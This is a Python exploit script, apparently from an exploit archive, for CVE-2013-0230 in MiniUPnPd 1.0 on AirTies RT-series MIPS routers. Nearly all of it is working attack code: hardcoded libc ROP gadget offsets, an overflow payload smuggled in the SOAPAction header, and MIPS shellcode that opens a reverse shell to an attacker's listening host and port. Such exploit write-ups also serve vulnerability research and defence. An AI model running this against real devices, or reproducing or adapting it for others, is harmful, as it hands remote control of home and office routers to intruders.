MiniUPnPd 1.0 (MIPS) – Remote Stack Overflow Remote Code Execution for AirTies RT Series
#!/usr/bin/env python # Exploit Title: MiniUPnPd 1.0 Stack Overflow RCE for AirTies RT Series # Date: 26.04.2015 # Exploit Author: Onur ALANBEL (BGA) # Vendor Homepage: http://miniupnp.free.fr/ # Version: 1.0 # Architecture: MIPS # Tested on: AirTies RT-204v3 # CVE : 2013-0230 # Exploit gives a reverse shell to lhost:lport # Details: https://www.exploit-db.com/docs/english/36806-developing-mips-exploits-to-hack-routers.pdf import urllib2 from string import join from argparse import ArgumentParser from struct import pack from socket import inet_aton BYTES = 4 def hex2str(value, size=BYTES): data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) data = data[::-1] return data arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \ CVE-2013-0230 Reverse Shell exploit for AirTies \ RT Series, start netcat on lhost:lport") arg_parser.add_argument("--target", required=True, help="Target IP address") arg_parser.add_argument("--lhost", required=True, help="The IP address\ which nc is listening") arg_parser.add_argument("--lport", required=True, type=int, help="The\ port which nc is listening") args = arg_parser.parse_args() libc_base = 0x2aabd000 ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget sleep = hex2str(libc_base + 0x35620) # sleep function ra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget s2 = s6 lport = pack('>H', args.lport) lhost = inet_aton(args.lhost) shellcode = join([ "\x24\x11\xff\xff" "\x24\x04\x27\x0f" "\x24\x02\x10\x46" "\x01\x01\x01\x0c" "\x1e\x20\xff\xfc" "\x24\x11\x10\x2d" "\x24\x02\x0f\xa2" "\x01\x01\x01\x0c" "\x1c\x40\xff\xf8" "\x24\x0f\xff\xfa" "\x01\xe0\x78\x27" "\x21\xe4\xff\xfd" "\x21\xe5\xff\xfd" "\x28\x06\xff\xff" "\x24\x02\x10\x57" "\x01\x01\x01\x0c" "\xaf\xa2\xff\xff" "\x8f\xa4\xff\xff" "\x34\x0f\xff\xfd" "\x01\xe0\x78\x27" "\xaf\xaf\xff\xe0" "\x3c\x0e" + lport + "\x35\xce" + lport + "\xaf\xae\xff\xe4" "\x3c\x0e" + lhost[:2] + "\x35\xce" + lhost[2:4] + "\xaf\xae\xff\xe6" "\x27\xa5\xff\xe2" "\x24\x0c\xff\xef" "\x01\x80\x30\x27" "\x24\x02\x10\x4a" "\x01\x01\x01\x0c" "\x24\x0f\xff\xfd" "\x01\xe0\x78\x27" "\x8f\xa4\xff\xff" "\x01\xe0\x28\x21" "\x24\x02\x0f\xdf" "\x01\x01\x01\x0c" "\x24\x10\xff\xff" "\x21\xef\xff\xff" "\x15\xf0\xff\xfa" "\x28\x06\xff\xff" "\x3c\x0f\x2f\x2f" "\x35\xef\x62\x69" "\xaf\xaf\xff\xec" "\x3c\x0e\x6e\x2f" "\x35\xce\x73\x68" "\xaf\xae\xff\xf0" "\xaf\xa0\xff\xf4" "\x27\xa4\xff\xec" "\xaf\xa4\xff\xf8" "\xaf\xa0\xff\xfc" "\x27\xa5\xff\xf8" "\x24\x02\x0f\xab" "\x01\x01\x01\x0c" ], '') payload = 'C'*2052 + s1 + 'C'*(4*4) + s6 + ra_1 + 'C'*28 + sleep + 'C'*40 + s2\ + ra_2 + 'C'*32 + shellcode soap_headers = { 'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload, } soap_data = """ <?xml version='1.0' encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" > <SOAP-ENV:Body> <ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\ SOAP-ENC:root="1"> </ns1:action> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """ try: print "Exploiting..." req = urllib2.Request("http://" + args.target + ":5555", soap_data, soap_headers) res = urllib2.urlopen(req).read() except: print "Ok" |